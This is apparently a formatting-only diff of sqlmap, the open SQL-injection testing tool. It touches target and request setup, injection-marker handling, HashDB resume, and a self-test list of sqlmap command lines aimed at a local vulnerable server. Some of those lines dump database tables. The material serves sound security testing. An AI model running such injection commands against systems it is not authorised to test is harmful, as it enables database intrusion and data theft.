@ -110,6 +115,7 @@ def loadHistory(completion=None):
warnMsg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" warnMsg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'"
logger.warning(warnMsg) logger.warning(warnMsg)
def autoCompletion(completion=None, os=None, commands=None): def autoCompletion(completion=None, os=None, commands=None):
if not readlineAvailable(): if not readlineAvailable():
return return

View File

@ -27,6 +27,7 @@ else:
import select import select
import fcntl import fcntl
def blockingReadFromFD(fd): def blockingReadFromFD(fd):
# Quick twist around original Twisted function # Quick twist around original Twisted function
# Blocking read from a non-blocking file descriptor # Blocking read from a non-blocking file descriptor
@ -50,6 +51,7 @@ def blockingReadFromFD(fd):
return output return output
def blockingWriteToFD(fd, data): def blockingWriteToFD(fd, data):
# Another quick twist # Another quick twist
while True: while True:
@ -67,6 +69,7 @@ def blockingWriteToFD(fd, data):
break break
# the following code is taken from http://code.activestate.com/recipes/440554-module-to-allow-asynchronous-subprocess-use-on-win/ # the following code is taken from http://code.activestate.com/recipes/440554-module-to-allow-asynchronous-subprocess-use-on-win/
class Popen(subprocess.Popen): class Popen(subprocess.Popen):
def recv(self, maxsize=None): def recv(self, maxsize=None):
@ -169,6 +172,7 @@ class Popen(subprocess.Popen):
if not conn.closed: if not conn.closed:
fcntl.fcntl(conn, fcntl.F_SETFL, flags) fcntl.fcntl(conn, fcntl.F_SETFL, flags)
def recv_some(p, t=.1, e=1, tr=5, stderr=0): def recv_some(p, t=.1, e=1, tr=5, stderr=0):
if tr < 1: if tr < 1:
tr = 1 tr = 1
@ -189,6 +193,7 @@ def recv_some(p, t=.1, e=1, tr=5, stderr=0):
time.sleep(max((x - time.time()) / tr, 0)) time.sleep(max((x - time.time()) / tr, 0))
return b''.join(y) return b''.join(y)
def send_all(p, data): def send_all(p, data):
if not data: if not data:
return return

View File

@ -82,6 +82,7 @@ from thirdparty import six
from thirdparty.odict import OrderedDict from thirdparty.odict import OrderedDict
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
def _setRequestParams(): def _setRequestParams():
""" """
Check and set the parameters and perform checks on 'data' option for Check and set the parameters and perform checks on 'data' option for
@ -115,19 +116,23 @@ def _setRequestParams():
def process(match, repl): def process(match, repl):
retVal = match.group(0) retVal = match.group(0)
if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'): if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in
conf.testParameter)) and match.group(
"name") == match.group("name").strip('\\'):
retVal = repl retVal = repl
while True: while True:
_ = re.search(r"\\g<([^>]+)>", retVal) _ = re.search(r"\\g<([^>]+)>", retVal)
if _: if _:
try: try:
retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) retVal = retVal.replace(_.group(0), match.group(
int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
except IndexError: except IndexError:
break break
else: else:
break break
if kb.customInjectionMark in retVal: if kb.customInjectionMark in retVal:
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name"))) hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip(
'"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name")))
return retVal return retVal
@ -156,9 +161,14 @@ def _setRequestParams():
if not (kb.processUserMarks and kb.customInjectionMark in conf.data): if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")',
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b',
functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark),
conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b',
functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark),
conf.data)
for match in re.finditer(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data): for match in re.finditer(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data):
if not (conf.testParameter and match.group("name") not in conf.testParameter): if not (conf.testParameter and match.group("name") not in conf.testParameter):
_ = match.group(2) _ = match.group(2)
@ -180,11 +190,19 @@ def _setRequestParams():
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
if '"' in conf.data: if '"' in conf.data:
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*"[^"]+)"',
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data) functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark),
conf.data)
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)',
functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark),
conf.data)
else: else:
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data) conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'",
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data) functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark),
conf.data)
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)",
functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark),
conf.data)
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
message = "Array-like data found in %s body. " % conf.method message = "Array-like data found in %s body. " % conf.method
@ -197,7 +215,8 @@ def _setRequestParams():
kb.postHint = POST_HINT.ARRAY_LIKE kb.postHint = POST_HINT.ARRAY_LIKE
if not (kb.processUserMarks and kb.customInjectionMark in conf.data): if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data) conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark,
conf.data)
elif re.search(XML_RECOGNITION_REGEX, conf.data): elif re.search(XML_RECOGNITION_REGEX, conf.data):
message = "SOAP/XML data found in %s body. " % conf.method message = "SOAP/XML data found in %s body. " % conf.method
@ -211,7 +230,9 @@ def _setRequestParams():
if not (kb.processUserMarks and kb.customInjectionMark in conf.data): if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data) conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)",
functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark),
conf.data)
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
message = "Multipart-like data found in %s body. " % conf.method message = "Multipart-like data found in %s body. " % conf.method
@ -225,7 +246,10 @@ def _setRequestParams():
if not (kb.processUserMarks and kb.customInjectionMark in conf.data): if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) conf.data = re.sub(
r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % (
"\r\n" if "\r\n" in conf.data else '\n'),
functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
if not kb.postHint: if not kb.postHint:
if kb.customInjectionMark in conf.data: # later processed if kb.customInjectionMark in conf.data: # later processed
@ -245,7 +269,9 @@ def _setRequestParams():
kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"): if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (
PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (
conf.data or "") and conf.url.startswith("http"):
warnMsg = "you've provided target URL without any GET " warnMsg = "you've provided target URL without any GET "
warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') " warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
warnMsg += "and without providing any POST parameters " warnMsg += "and without providing any POST parameters "
@ -262,14 +288,17 @@ def _setRequestParams():
conf.url = "%s%s" % (conf.url, kb.customInjectionMark) conf.url = "%s%s" % (conf.url, kb.customInjectionMark)
kb.processUserMarks = True kb.processUserMarks = True
for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))): for place, value in (
(PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)): if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)):
continue continue
_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or "" _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "",
value or "") if place == PLACE.CUSTOM_HEADER else value or ""
if kb.customInjectionMark in _: if kb.customInjectionMark in _:
if kb.processUserMarks is None: if kb.processUserMarks is None:
lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'} lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data',
PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'}
message = "custom injection marker ('%s') found in option " % kb.customInjectionMark message = "custom injection marker ('%s') found in option " % kb.customInjectionMark
message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place] message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place]
choice = readInput(message, default='Y').upper() choice = readInput(message, default='Y').upper()
@ -309,7 +338,8 @@ def _setRequestParams():
else: else:
if place == PLACE.URI: if place == PLACE.URI:
value = conf.url = conf.url.replace('+', "%20") # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5123 value = conf.url = conf.url.replace('+',
"%20") # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5123
conf.parameters[place] = value conf.parameters[place] = value
conf.paramDict[place] = OrderedDict() conf.paramDict[place] = OrderedDict()
@ -320,7 +350,10 @@ def _setRequestParams():
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value): if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value):
parts = value.split(kb.customInjectionMark) parts = value.split(kb.customInjectionMark)
for i in xrange(len(parts) - 1): for i in xrange(len(parts) - 1):
conf.paramDict[place]["%s #%d%s" % (header, i + 1, kb.customInjectionMark)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts)))) conf.paramDict[place][
"%s #%d%s" % (header, i + 1, kb.customInjectionMark)] = "%s,%s" % (header, "".join(
"%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in
xrange(len(parts))))
conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, "")) conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, ""))
else: else:
parts = value.split(kb.customInjectionMark) parts = value.split(kb.customInjectionMark)
@ -333,8 +366,10 @@ def _setRequestParams():
name = "%s %s" % (kb.postHint, _) name = "%s %s" % (kb.postHint, _)
break break
if name is None: if name is None:
name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, kb.customInjectionMark) name = "%s#%s%s" % (
conf.paramDict[place][name] = "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts))) ("%s " % kb.postHint) if kb.postHint else "", i + 1, kb.customInjectionMark)
conf.paramDict[place][name] = "".join(
"%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts)))
if place == PLACE.URI and PLACE.GET in conf.paramDict: if place == PLACE.URI and PLACE.GET in conf.paramDict:
del conf.paramDict[PLACE.GET] del conf.paramDict[PLACE.GET]
@ -395,7 +430,8 @@ def _setRequestParams():
if condition: if condition:
conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders) conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)} conf.paramDict[PLACE.CUSTOM_HEADER] = {
httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)}
conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders] conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders]
testableParameters = True testableParameters = True
@ -410,7 +446,13 @@ def _setRequestParams():
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
if conf.csrfToken: if conf.csrfToken:
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (
conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}),
conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken,
conf.data or "") and conf.csrfToken not in set(
_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE,
{}) and not all(
re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
errMsg += "found in provided GET, POST, Cookie or header values" errMsg += "found in provided GET, POST, Cookie or header values"
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
@ -421,16 +463,19 @@ def _setRequestParams():
for parameter in conf.paramDict.get(place, {}): for parameter in conf.paramDict.get(place, {}):
if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
message = "%sparameter '%s' appears to hold anti-CSRF token. " % ("%s " % place if place != parameter else "", parameter) message = "%sparameter '%s' appears to hold anti-CSRF token. " % (
"%s " % place if place != parameter else "", parameter)
message += "Do you want sqlmap to automatically update it in further requests? [y/N] " message += "Do you want sqlmap to automatically update it in further requests? [y/N] "
if readInput(message, default='N', boolean=True): if readInput(message, default='N', boolean=True):
class _(six.text_type): class _(six.text_type):
pass pass
conf.csrfToken = _(re.escape(getUnicode(parameter))) conf.csrfToken = _(re.escape(getUnicode(parameter)))
conf.csrfToken._original = getUnicode(parameter) conf.csrfToken._original = getUnicode(parameter)
break break
def _setHashDB(): def _setHashDB():
""" """
Check and set the HashDB SQLite file for query resume functionality. Check and set the HashDB SQLite file for query resume functionality.
@ -453,6 +498,7 @@ def _setHashDB():
conf.hashDB = HashDB(conf.hashDBFile) conf.hashDB = HashDB(conf.hashDBFile)
def _resumeHashDBValues(): def _resumeHashDBValues():
""" """
Resume stored data values from HashDB Resume stored data values from HashDB
@ -474,7 +520,8 @@ def _resumeHashDBValues():
conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]: if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in \
conf.paramDict[injection.place]:
if not conf.technique or intersect(conf.technique, injection.data.keys()): if not conf.technique or intersect(conf.technique, injection.data.keys()):
if intersect(conf.technique, injection.data.keys()): if intersect(conf.technique, injection.data.keys()):
injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.technique) injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.technique)
@ -485,6 +532,7 @@ def _resumeHashDBValues():
_resumeDBMS() _resumeDBMS()
_resumeOS() _resumeOS()
def _resumeDBMS(): def _resumeDBMS():
""" """
Resume stored DBMS information from HashDB Resume stored DBMS information from HashDB
@ -535,6 +583,7 @@ def _resumeDBMS():
Backend.setDbms(dbms) Backend.setDbms(dbms)
Backend.setVersionList(dbmsVersion) Backend.setVersionList(dbmsVersion)
def _resumeOS(): def _resumeOS():
""" """
Resume stored OS information from HashDB Resume stored OS information from HashDB
@ -566,6 +615,7 @@ def _resumeOS():
Backend.setOs(conf.os) Backend.setOs(conf.os)
def _setResultsFile(): def _setResultsFile():
""" """
Create results file for storing results of running in a Create results file for storing results of running in a
@ -576,7 +626,8 @@ def _setResultsFile():
return return
if not conf.resultsFP: if not conf.resultsFP:
conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH,
time.strftime(RESULTS_FILE_FORMAT).lower())
found = os.path.exists(conf.resultsFile) found = os.path.exists(conf.resultsFile)
try: try:
@ -601,6 +652,7 @@ def _setResultsFile():
logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile) logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile)
def _createFilesDir(): def _createFilesDir():
""" """
Create the file directory. Create the file directory.
@ -623,6 +675,7 @@ def _createFilesDir():
conf.filePath = tempDir conf.filePath = tempDir
def _createDumpDir(): def _createDumpDir():
""" """
Create the dump directory. Create the dump directory.
@ -645,10 +698,12 @@ def _createDumpDir():
conf.dumpPath = tempDir conf.dumpPath = tempDir
def _configureDumper(): def _configureDumper():
conf.dumper = dumper conf.dumper = dumper
conf.dumper.setOutputFile() conf.dumper.setOutputFile()
def _createTargetDirs(): def _createTargetDirs():
""" """
Create the output directory. Create the output directory.
@ -693,6 +748,7 @@ def _createTargetDirs():
_createFilesDir() _createFilesDir()
_configureDumper() _configureDumper()
def _setAuxOptions(): def _setAuxOptions():
""" """
Setup auxiliary (host-dependent) options Setup auxiliary (host-dependent) options
@ -700,6 +756,7 @@ def _setAuxOptions():
kb.aliasName = randomStr(seed=hash(conf.hostname or "")) kb.aliasName = randomStr(seed=hash(conf.hostname or ""))
def _restoreMergedOptions(): def _restoreMergedOptions():
""" """
Restore merged options (command line, configuration file and default values) Restore merged options (command line, configuration file and default values)
@ -709,6 +766,7 @@ def _restoreMergedOptions():
for option in RESTORE_MERGED_OPTIONS: for option in RESTORE_MERGED_OPTIONS:
conf[option] = mergedOptions[option] conf[option] = mergedOptions[option]
def initTargetEnv(): def initTargetEnv():
""" """
Initialize target environment. Initialize target environment.
@ -761,6 +819,7 @@ def initTargetEnv():
match = re.search(INJECT_HERE_REGEX, "%s %s %s" % (conf.url, conf.data, conf.httpHeaders)) match = re.search(INJECT_HERE_REGEX, "%s %s %s" % (conf.url, conf.data, conf.httpHeaders))
kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR
def setupTargetEnv(): def setupTargetEnv():
_createTargetDirs() _createTargetDirs()
_setRequestParams() _setRequestParams()

View File

@ -32,6 +32,7 @@ from lib.core.data import queries
from lib.core.patch import unisonRandom from lib.core.patch import unisonRandom
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
def vulnTest(): def vulnTest():
""" """
Runs the testing against 'vulnserver' Runs the testing against 'vulnserver'
@ -40,41 +41,87 @@ def vulnTest():
TESTS = ( TESTS = (
("-h", ("to see full list of options run with '-hh'",)), ("-h", ("to see full list of options run with '-hh'",)),
("--dependencies", ("sqlmap requires", "third-party library")), ("--dependencies", ("sqlmap requires", "third-party library")),
("-u <url> --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), ("-u <url> --data=\"reflect=1\" --flush-session --wizard --disable-coloring",
("-u <url> --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")), ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
(u"-c <config> --flush-session --output-dir=\"<tmpdir>\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")), ("-u <url> --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session",
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)), ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")),
(
u"-c <config> --flush-session --output-dir=\"<tmpdir>\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U",
(u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")),
(
u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable",
(u": '\u0161u\u0107uraj'",)),
("-m <multiple> --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")), ("-m <multiple> --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")),
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable",
("-u \"<url>&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), "there is not at least one", "~might be injectable")),
(
"-u \"<url>&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"",
("~1AND",)),
("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", (
"CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-agent: foobar",
"~Type: time-based blind", "saved command line options to the configuration file")),
("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")), ("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), (
"-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors",
("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
("-u <base> --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u <base> --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", (
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)), "fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind",
"Type: time-based blind", "Type: UNION query", "banner: '3.")),
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B",
("banner: '3.",)),
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)), ("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)),
("-u <url> --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)), ("-u <url> --flush-session --banner --technique=B --disable-precon --not-string \"no results\"",
("banner: '3.",)),
("-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)), ("-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner",
("-u <base> --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")), ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
("-u <base> --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"<root><param name=\\\"id\\\" value=\\\"1*\\\"/></root>\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")), ("-u <base> --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", (
("-u <base> --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), "might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query",
